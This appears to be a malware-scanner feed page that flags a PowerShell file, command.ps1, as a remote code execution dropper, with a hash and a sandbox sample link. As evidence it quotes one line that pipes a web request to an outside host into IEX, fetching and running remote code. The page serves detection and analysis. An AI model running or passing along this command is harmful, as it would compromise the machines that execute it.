Suspicious 80% Download

command.ps1

Remote code execution dropper

Remote IRM response piped to IEXInvoke-RestMethod is near IEX; fetched content may be executed
SHA-25612785f628243858bf1d8f3f9c38b968b3c599fcff73fba245f1f54b30c33d0e4
URLhttps://tria.ge/api/v0/samples/261003-fxmrsa116p/sample
MaleculeO(C)H₂(CmPo)

Evidence

Remote IRM response piped to IEX line 1
1irm 'hcukmjqwbqdff.zhv8.com/s/w/1' | iex

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.